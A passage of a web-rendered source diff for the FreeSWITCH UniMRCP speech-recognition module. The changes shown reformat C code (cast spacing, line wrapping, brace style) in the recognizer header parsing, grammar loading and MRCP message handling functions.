</del><ins>+        case RECOGNIZER_HEADER_HOTWORD_MAX_DURATION:{
+                        int hotword_max_duration = atoi(val);
+                        if (hotword_max_duration >= 0) {
+                                recog_hdr->hotword_max_duration = hotword_max_duration;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_HOTWORD_MAX_DURATION);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid hotword max duration, \"%s\"\n", schannel->name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
-        case RECOGNIZER_HEADER_HOTWORD_MIN_DURATION: {
-                int hotword_min_duration = atoi(val);
-                if (hotword_min_duration >= 0) {
-                        recog_hdr->hotword_min_duration = hotword_min_duration;
-                        mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_HOTWORD_MIN_DURATION);
-                } else {
-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid hotword min duration, \"%s\"\n", schannel->name, val);
</del><ins>+        case RECOGNIZER_HEADER_HOTWORD_MIN_DURATION:{
+                        int hotword_min_duration = atoi(val);
+                        if (hotword_min_duration >= 0) {
+                                recog_hdr->hotword_min_duration = hotword_min_duration;
+                                mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_HOTWORD_MIN_DURATION);
+                        } else {
+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "(%s) Ignoring invalid hotword min duration, \"%s\"\n", schannel->name, val);
+                        }
+                        break;
</ins><span class="cx">                 }
</span><del>-                break;
-        }
</del><span class="cx">         case RECOGNIZER_HEADER_CLEAR_DTMF_BUFFER:
</span><span class="cx">                 recog_hdr->clear_dtmf_buffer = !strcasecmp("true", val);
</span><span class="cx">                 mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_CLEAR_DTMF_BUFFER);
</span><span class="lines">@@ -2578,25 +2618,25 @@
</span><span class="cx">                 mrcp_resource_header_property_add(msg, RECOGNIZER_HEADER_MEDIA_TYPE);
</span><span class="cx">                 break;
</span><span class="cx">
</span><del>-        /* Unsupported headers */
</del><ins>+                /* Unsupported headers */
</ins><span class="cx">
</span><del>-        /* MRCP server headers */
</del><ins>+                /* MRCP server headers */
</ins><span class="cx">         case RECOGNIZER_HEADER_WAVEFORM_URI:
</span><span class="cx">         case RECOGNIZER_HEADER_COMPLETION_CAUSE:
</span><span class="cx">         case RECOGNIZER_HEADER_FAILED_URI:
</span><span class="cx">         case RECOGNIZER_HEADER_FAILED_URI_CAUSE:
</span><span class="cx">         case RECOGNIZER_HEADER_INPUT_TYPE:
</span><span class="cx">         case RECOGNIZER_HEADER_COMPLETION_REASON:
</span><del>-        /* module handles this automatically */
</del><ins>+                /* module handles this automatically */
</ins><span class="cx">         case RECOGNIZER_HEADER_CANCEL_IF_QUEUE:
</span><del>-        /* GET-PARAMS method only */
</del><ins>+                /* GET-PARAMS method only */
</ins><span class="cx">         case RECOGNIZER_HEADER_RECOGNIZER_CONTEXT_BLOCK:
</span><span class="cx">         case RECOGNIZER_HEADER_DTMF_BUFFER_TIME:
</span><span class="cx">
</span><del>-        /* INTERPRET method only */
</del><ins>+                /* INTERPRET method only */
</ins><span class="cx">         case RECOGNIZER_HEADER_INTERPRET_TEXT:
</span><span class="cx">
</span><del>-        /* unknown */
</del><ins>+                /* unknown */
</ins><span class="cx">         case RECOGNIZER_HEADER_VER_BUFFER_UTTERANCE:
</span><span class="cx">
</span><span class="cx">         default:
</span><span class="lines">@@ -2614,7 +2654,7 @@
</span><span class="cx"> {
</span><span class="cx">         recognizer_data_t *r;
</span><span class="cx">         switch_mutex_lock(schannel->mutex);
</span><del>-        r = (recognizer_data_t *)schannel->data;
</del><ins>+        r = (recognizer_data_t *) schannel->data;
</ins><span class="cx">         r->timers_started = 1;
</span><span class="cx">         switch_mutex_unlock(schannel->mutex);
</span><span class="cx">         return SWITCH_STATUS_SUCCESS;
</span><span class="lines">@@ -2641,24 +2681,24 @@
</span><span class="cx">         recognizer_data_t *r = NULL;
</span><span class="cx">
</span><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "asr_handle: name = %s, codec = %s, rate = %d, grammar = %s, param = %s\n",
</span><del>-                ah->name, ah->codec, ah->rate, ah->grammar, ah->param);
</del><ins>+                                         ah->name, ah->codec, ah->rate, ah->grammar, ah->param);
</ins><span class="cx">         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_INFO, "codec = %s, rate = %d, dest = %s\n", codec, rate, dest);
</span><span class="cx">
</span><span class="cx">         /* It would be nice if FreeSWITCH let us know which session owns this handle, but it doesn't. So, lets
</span><del>-                make our own unique name */
</del><ins>+         make our own unique name */
</ins><span class="cx">         switch_snprintf(name, sizeof(name) - 1, "ASR-%d", speech_channel_number);
</span><span class="cx">         name[sizeof(name) - 1] = '\0';
</span><span class="cx">
</span><del>-        if (speech_channel_create(&schannel, name, SPEECH_CHANNEL_RECOGNIZER, &globals.recog, (uint16_t)rate, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        if (speech_channel_create(&schannel, name, SPEECH_CHANNEL_RECOGNIZER, &globals.recog, (uint16_t) rate, ah->memory_pool) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><span class="cx">         ah->private_info = schannel;
</span><span class="cx">
</span><del>-        r = (recognizer_data_t *)switch_core_alloc(ah->memory_pool, sizeof(recognizer_data_t));
</del><ins>+        r = (recognizer_data_t *) switch_core_alloc(ah->memory_pool, sizeof(recognizer_data_t));
</ins><span class="cx">         schannel->data = r;
</span><span class="cx">         memset(r, 0, sizeof(recognizer_data_t));
</span><del>-        switch_core_hash_init(&r->grammars, ah->memory_pool);
</del><ins>+        switch_core_hash_init(&r->grammars, ah->memory_pool);
</ins><span class="cx">
</span><span class="cx">         /* try to open an MRCP channel */
</span><span class="cx">         if (!(profile_name = dest)) {
</span><span class="lines">@@ -2667,7 +2707,7 @@
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        profile = (profile_t *)switch_core_hash_find(globals.profiles, profile_name);
</del><ins>+        profile = (profile_t *) switch_core_hash_find(globals.profiles, profile_name);
</ins><span class="cx">
</span><span class="cx">         if (!profile) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Can't find profile, %s\n", name, profile_name);
</span><span class="lines">@@ -2676,7 +2716,7 @@
</span><span class="cx">         }
</span><span class="cx">         status = speech_channel_open(schannel, profile);
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -2692,7 +2732,7 @@
</span><span class="cx"> static switch_status_t recog_asr_load_grammar(switch_asr_handle_t *ah, const char *grammar, const char *name)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
</ins><span class="cx">         const char *grammar_data = NULL;
</span><span class="cx">         char *grammar_file_data = NULL;
</span><span class="cx">         switch_file_t *grammar_file = NULL;
</span><span class="lines">@@ -2705,7 +2745,7 @@
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">                 goto done;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* stop recognition */
</span><span class="cx">         if (speech_channel_stop(schannel) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="lines">@@ -2713,7 +2753,8 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         /* figure out what type of grammar this is */
</span><del>-        if (text_starts_with(grammar, HTTP_ID) || text_starts_with(grammar, FILE_ID) || text_starts_with(grammar, SESSION_ID) || text_starts_with(grammar, BUILTIN_ID)) {
</del><ins>+        if (text_starts_with(grammar, HTTP_ID) || text_starts_with(grammar, FILE_ID) || text_starts_with(grammar, SESSION_ID)
+                || text_starts_with(grammar, BUILTIN_ID)) {
</ins><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Grammar is URI\n", schannel->name);
</span><span class="cx">                 type = GRAMMAR_TYPE_URI;
</span><span class="cx">                 grammar_data = grammar;
</span><span class="lines">@@ -2752,7 +2793,7 @@
</span><span class="cx">                         status = SWITCH_STATUS_FALSE;
</span><span class="cx">                         goto done;
</span><span class="cx">                 }
</span><del>-                grammar_file_data = (char *)switch_core_alloc(schannel->memory_pool, grammar_file_size + 1);
</del><ins>+                grammar_file_data = (char *) switch_core_alloc(schannel->memory_pool, grammar_file_size + 1);
</ins><span class="cx">                 to_read = grammar_file_size;
</span><span class="cx">                 if (switch_file_read(grammar_file, grammar_file_data, &to_read) != SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "(%s) Grammar file read error: %s\n", schannel->name, filename);
</span><span class="lines">@@ -2799,7 +2840,7 @@
</span><span class="cx">
</span><span class="cx">         status = recog_channel_start(schannel, name);
</span><span class="cx">
</span><del>- done:
</del><ins>+ done:
</ins><span class="cx">
</span><span class="cx">         switch_safe_free(filename);
</span><span class="cx">         if (grammar_file) {
</span><span class="lines">@@ -2818,9 +2859,8 @@
</span><span class="cx"> static switch_status_t recog_asr_unload_grammar(switch_asr_handle_t *ah, const char *name)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status = SWITCH_STATUS_SUCCESS;
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
-        if (zstr(name) || speech_channel_stop(schannel) != SWITCH_STATUS_SUCCESS ||
-                recog_channel_unload_grammar(schannel, name) != SWITCH_STATUS_SUCCESS) {
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
+        if (zstr(name) || speech_channel_stop(schannel) != SWITCH_STATUS_SUCCESS || recog_channel_unload_grammar(schannel, name) != SWITCH_STATUS_SUCCESS) {
</ins><span class="cx">                 status = SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">         return status;
</span><span class="lines">@@ -2835,8 +2875,8 @@
</span><span class="cx"> */
</span><span class="cx"> static switch_status_t recog_asr_close(switch_asr_handle_t *ah, switch_asr_flag_t *flags)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
-        recognizer_data_t *r = (recognizer_data_t *)schannel->data;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
+        recognizer_data_t *r = (recognizer_data_t *) schannel->data;
</ins><span class="cx">         speech_channel_stop(schannel);
</span><span class="cx">         speech_channel_destroy(schannel);
</span><span class="cx">         switch_core_hash_destroy(&r->grammars);
</span><span class="lines">@@ -2856,7 +2896,7 @@
</span><span class="cx"> static switch_status_t recog_asr_feed(switch_asr_handle_t *ah, void *data, unsigned int len, switch_asr_flag_t *flags)
</span><span class="cx"> {
</span><span class="cx">         switch_size_t slen = len;
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
</ins><span class="cx">         return speech_channel_write(schannel, data, &slen);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -2866,11 +2906,11 @@
</span><span class="cx"> * @param ah the FreeSWITCH speech recognition handle
</span><span class="cx"> * @param name name of the grammar to use
</span><span class="cx"> * @return SWITCH_STATUS_SUCCESS if successful
</span><del>- */
</del><ins>+ */
</ins><span class="cx"> static switch_status_t recog_asr_start(switch_asr_handle_t *ah, const char *name)
</span><span class="cx"> {
</span><span class="cx">         switch_status_t status;
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
</ins><span class="cx">         status = recog_channel_start(schannel, name);
</span><span class="cx">         return status;
</span><span class="cx"> }
</span><span class="lines">@@ -2883,7 +2923,7 @@
</span><span class="cx"> */
</span><span class="cx"> static switch_status_t recog_asr_resume(switch_asr_handle_t *ah)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
</ins><span class="cx">         return recog_channel_start(schannel, NULL);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -2894,7 +2934,7 @@
</span><span class="cx"> */
</span><span class="cx"> static switch_status_t recog_asr_pause(switch_asr_handle_t *ah)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
</ins><span class="cx">         return speech_channel_stop(schannel);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -2908,7 +2948,7 @@
</span><span class="cx"> */
</span><span class="cx"> static switch_status_t recog_asr_check_results(switch_asr_handle_t *ah, switch_asr_flag_t *flags)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
</ins><span class="cx">         return recog_channel_check_results(schannel);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -2921,7 +2961,7 @@
</span><span class="cx"> */
</span><span class="cx"> static switch_status_t recog_asr_get_results(switch_asr_handle_t *ah, char **xmlstr, switch_asr_flag_t *flags)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
</ins><span class="cx">         return recog_channel_get_results(schannel, xmlstr);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -2932,7 +2972,7 @@
</span><span class="cx"> */
</span><span class="cx"> static switch_status_t recog_asr_start_input_timers(switch_asr_handle_t *ah)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
</ins><span class="cx">         return recog_channel_start_input_timers(schannel);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -2946,7 +2986,7 @@
</span><span class="cx"> */
</span><span class="cx"> static void recog_asr_text_param(switch_asr_handle_t *ah, char *param, const char *val)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
</ins><span class="cx">         speech_channel_set_param(schannel, param, val);
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -2960,7 +3000,7 @@
</span><span class="cx"> */
</span><span class="cx"> static void recog_asr_numeric_param(switch_asr_handle_t *ah, char *param, int val)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
</ins><span class="cx">         char *val_str = switch_mprintf("%d", val);
</span><span class="cx">         speech_channel_set_param(schannel, param, val_str);
</span><span class="cx">         switch_safe_free(val_str);
</span><span class="lines">@@ -2976,7 +3016,7 @@
</span><span class="cx"> */
</span><span class="cx"> static void recog_asr_float_param(switch_asr_handle_t *ah, char *param, double val)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)ah->private_info;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) ah->private_info;
</ins><span class="cx">         char *val_str = switch_mprintf("%f", val);
</span><span class="cx">         speech_channel_set_param(schannel, param, val_str);
</span><span class="cx">         switch_safe_free(val_str);
</span><span class="lines">@@ -2995,8 +3035,8 @@
</span><span class="cx"> */
</span><span class="cx"> static apt_bool_t recog_on_message_receive(mrcp_application_t *application, mrcp_session_t *session, mrcp_channel_t *channel, mrcp_message_t *message)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)mrcp_application_channel_object_get(channel);
-        mrcp_recog_header_t *recog_hdr = (mrcp_recog_header_t *)mrcp_resource_header_get(message);
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) mrcp_application_channel_object_get(channel);
+        mrcp_recog_header_t *recog_hdr = (mrcp_recog_header_t *) mrcp_resource_header_get(message);
</ins><span class="cx">         if (message->start_line.message_type == MRCP_MESSAGE_TYPE_RESPONSE) {
</span><span class="cx">                 /* received MRCP response */
</span><span class="cx">                 if (message->start_line.method_id == RECOGNIZER_RECOGNIZE) {
</span><span class="lines">@@ -3008,9 +3048,11 @@
</span><span class="cx">                         } else if (message->start_line.request_state == MRCP_REQUEST_STATE_COMPLETE) {
</span><span class="cx">                                 /* RECOGNIZE failed to start */
</span><span class="cx">                                 if (recog_hdr->completion_cause == RECOGNIZER_COMPLETION_CAUSE_UNKNOWN) {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNIZE failed: status = %d\n", schannel->name,         message->start_line.status_code);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNIZE failed: status = %d\n", schannel->name,
+                                                                         message->start_line.status_code);
</ins><span class="cx">                                 } else {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNIZE failed: status = %d, completion-cause = %03d\n", schannel->name, message->start_line.status_code, recog_hdr->completion_cause);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNIZE failed: status = %d, completion-cause = %03d\n",
+                                                                         schannel->name, message->start_line.status_code, recog_hdr->completion_cause);
</ins><span class="cx">                                 }
</span><span class="cx">                                 speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                         } else if (message->start_line.request_state == MRCP_REQUEST_STATE_PENDING) {
</span><span class="lines">@@ -3018,7 +3060,8 @@
</span><span class="cx">                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNIZE PENDING\n", schannel->name);
</span><span class="cx">                         } else {
</span><span class="cx">                                 /* received unexpected request_state */
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected RECOGNIZE request state: %d\n", schannel->name, message->start_line.request_state);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected RECOGNIZE request state: %d\n", schannel->name,
+                                                                 message->start_line.request_state);
</ins><span class="cx">                                 speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                         }
</span><span class="cx">                 } else if (message->start_line.method_id == RECOGNIZER_STOP) {
</span><span class="lines">@@ -3029,9 +3072,10 @@
</span><span class="cx">                                 speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
</span><span class="cx">                         } else {
</span><span class="cx">                                 /* received unexpected request state */
</span><del>-                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected STOP request state: %d\n", schannel->name, message->start_line.request_state);
</del><ins>+                                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected STOP request state: %d\n", schannel->name,
+                                                                 message->start_line.request_state);
</ins><span class="cx">                                 speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><del>-                                }
</del><ins>+                        }
</ins><span class="cx">                 } else if (message->start_line.method_id == RECOGNIZER_START_INPUT_TIMERS) {
</span><span class="cx">                         /* received response to START-INPUT-TIMERS request */
</span><span class="cx">                         if (message->start_line.request_state == MRCP_REQUEST_STATE_COMPLETE) {
</span><span class="lines">@@ -3039,7 +3083,8 @@
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) timers started\n", schannel->name);
</span><span class="cx">                                         recog_channel_set_timers_started(schannel);
</span><span class="cx">                                 } else {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) timers failed to start, status code = %d\n", schannel->name, message->start_line.status_code);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) timers failed to start, status code = %d\n", schannel->name,
+                                                                         message->start_line.status_code);
</ins><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 } else if (message->start_line.method_id == RECOGNIZER_DEFINE_GRAMMAR) {
</span><span class="lines">@@ -3049,26 +3094,30 @@
</span><span class="cx">                                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) grammar loaded\n", schannel->name);
</span><span class="cx">                                         speech_channel_set_state(schannel, SPEECH_CHANNEL_READY);
</span><span class="cx">                                 } else {
</span><del>-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) grammar failed to load, status code = %d\n", schannel->name, message->start_line.status_code);
</del><ins>+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) grammar failed to load, status code = %d\n", schannel->name,
+                                                                         message->start_line.status_code);
</ins><span class="cx">                                         speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><span class="cx">                         /* received unexpected response */
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected response, method_id = %d\n", schannel->name, (int)message->start_line.method_id);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected response, method_id = %d\n", schannel->name,
+                                                         (int) message->start_line.method_id);
</ins><span class="cx">                         speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                 }
</span><span class="cx">         } else if (message->start_line.message_type == MRCP_MESSAGE_TYPE_EVENT) {
</span><span class="cx">                 /* received MRCP event */
</span><span class="cx">                 if (message->start_line.method_id == RECOGNIZER_RECOGNITION_COMPLETE) {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNITION COMPLETE, Completion-Cause: %03d\n", schannel->name, recog_hdr->completion_cause);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) RECOGNITION COMPLETE, Completion-Cause: %03d\n", schannel->name,
+                                                         recog_hdr->completion_cause);
</ins><span class="cx">                         if (message->body.length > 0) {
</span><span class="cx">                                 if (message->body.buf[message->body.length - 1] == '\0') {
</span><span class="cx">                                         recog_channel_set_results(schannel, message->body.buf);
</span><span class="cx">                                 } else {
</span><span class="cx">                                         /* string is not null terminated */
</span><del>-                                        char *result = (char *)switch_core_alloc(schannel->memory_pool, message->body.length + 1);
-                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) Recognition result is not null-terminated. Appending null terminator.\n", schannel->name);
</del><ins>+                                        char *result = (char *) switch_core_alloc(schannel->memory_pool, message->body.length + 1);
+                                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+                                                                         "(%s) Recognition result is not null-terminated. Appending null terminator.\n", schannel->name);
</ins><span class="cx">                                         strncpy(result, message->body.buf, message->body.length);
</span><span class="cx">                                         result[message->body.length] = '\0';
</span><span class="cx">                                         recog_channel_set_results(schannel, result);
</span><span class="lines">@@ -3084,11 +3133,13 @@
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) START OF INPUT\n", schannel->name);
</span><span class="cx">                         recog_channel_set_start_of_input(schannel);
</span><span class="cx">                 } else {
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected event, method_id = %d\n", schannel->name, (int)message->start_line.method_id);
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected event, method_id = %d\n", schannel->name,
+                                                         (int) message->start_line.method_id);
</ins><span class="cx">                         speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">                 }
</span><span class="cx">         } else {
</span><del>-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected message type, message_type = %d\n", schannel->name, message->start_line.message_type);
</del><ins>+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "(%s) unexpected message type, message_type = %d\n", schannel->name,
+                                                 message->start_line.message_type);
</ins><span class="cx">                 speech_channel_set_state(schannel, SPEECH_CHANNEL_ERROR);
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -3104,13 +3155,13 @@
</span><span class="cx"> */
</span><span class="cx"> static apt_bool_t recog_stream_read(mpf_audio_stream_t *stream, mpf_frame_t *frame)
</span><span class="cx"> {
</span><del>-        speech_channel_t *schannel = (speech_channel_t *)stream->obj;
</del><ins>+        speech_channel_t *schannel = (speech_channel_t *) stream->obj;
</ins><span class="cx">         switch_size_t to_read = frame->codec_frame.size;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* grab the data. pad it if there isn't enough */
</span><span class="cx">         if (speech_channel_read(schannel, frame->codec_frame.buffer, &to_read, 0) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                 if (to_read < frame->codec_frame.size) {
</span><del>-                        memset((uint8_t *)frame->codec_frame.buffer + to_read, schannel->silence, frame->codec_frame.size - to_read);
</del><ins>+                        memset((uint8_t *) frame->codec_frame.buffer + to_read, schannel->silence, frame->codec_frame.size - to_read);
</ins><span class="cx">                 }
</span><span class="cx">                 frame->type |= MEDIA_FRAME_TYPE_AUDIO;
</span><span class="cx">         }
</span><span class="lines">@@ -3125,7 +3176,7 @@
</span><span class="cx"> {
</span><span class="cx">         /* link to FreeSWITCH ASR / TTS callbacks */
</span><span class="cx">         switch_asr_interface_t *asr_interface = NULL;
</span><del>-        if ((asr_interface = (switch_asr_interface_t *)switch_loadable_module_create_interface(module_interface, SWITCH_ASR_INTERFACE)) == NULL) {
</del><ins>+        if ((asr_interface = (switch_asr_interface_t *) switch_loadable_module_create_interface(module_interface, SWITCH_ASR_INTERFACE)) == NULL) {
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">         asr_interface->interface_name = MOD_UNIMRCP;
</span><span class="lines">@@ -3145,9 +3196,9 @@
</span><span class="cx">         asr_interface->asr_text_param = recog_asr_text_param;
</span><span class="cx">         asr_interface->asr_numeric_param = recog_asr_numeric_param;
</span><span class="cx">         asr_interface->asr_float_param = recog_asr_float_param;
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* Create the recognizer application and link its callbacks */
</span><del>-        if ((globals.recog.app = mrcp_application_create(recog_message_handler, (void *)0, pool)) == NULL) {
</del><ins>+        if ((globals.recog.app = mrcp_application_create(recog_message_handler, (void *) 0, pool)) == NULL) {
</ins><span class="cx">                 return SWITCH_STATUS_FALSE;
</span><span class="cx">         }
</span><span class="cx">         globals.recog.dispatcher.on_session_update = NULL;
</span><span class="lines">@@ -3163,27 +3214,31 @@
</span><span class="cx">         globals.recog.audio_stream_vtable.close_tx = NULL;
</span><span class="cx">         globals.recog.audio_stream_vtable.write_frame = NULL;
</span><span class="cx">         mrcp_client_application_register(globals.mrcp_client, globals.recog.app, "recog");
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* map FreeSWITCH params or old params to MRCPv2 param */
</span><span class="cx">         switch_core_hash_init_nocase(&globals.recog.fs_param_map, pool);
</span><span class="cx">         /* MRCPv1 param */
</span><span class="cx">         switch_core_hash_insert(globals.recog.fs_param_map, "recognizer-start-timers", "start-input-timers");
</span><del>-        
</del><ins>+
</ins><span class="cx">         /* map MRCP params to UniMRCP ID */
</span><span class="cx">         switch_core_hash_init_nocase(&globals.recog.param_id_map, pool);
</span><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, "Confidence-Threshold", unimrcp_param_id_create(RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD, pool));
</span><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, "Sensitivity-Level", unimrcp_param_id_create(RECOGNIZER_HEADER_SENSITIVITY_LEVEL, pool));
</span><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, "Speed-Vs-Accuracy", unimrcp_param_id_create(RECOGNIZER_HEADER_SPEED_VS_ACCURACY, pool));
</span><del>-        switch_core_hash_insert(globals.recog.param_id_map, "N-Best-List-Length", unimrcp_param_id_create(RECOGNIZER_HEADER_N_BEST_LIST_LENGTH, pool));        
</del><ins>+        switch_core_hash_insert(globals.recog.param_id_map, "N-Best-List-Length", unimrcp_param_id_create(RECOGNIZER_HEADER_N_BEST_LIST_LENGTH, pool));
</ins><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, "No-Input-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_NO_INPUT_TIMEOUT, pool));
</span><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, "Recognition-Timeout", unimrcp_param_id_create(RECOGNIZER_HEADER_RECOGNITION_TIMEOUT, pool));
</span><span class="cx">         switch_core_hash_insert(globals.recog.param_id_map, "Waveform-Url", unimrcp_param_id_create(RECOGNIZER_HEADER_WAVEFORM_URI, pool));
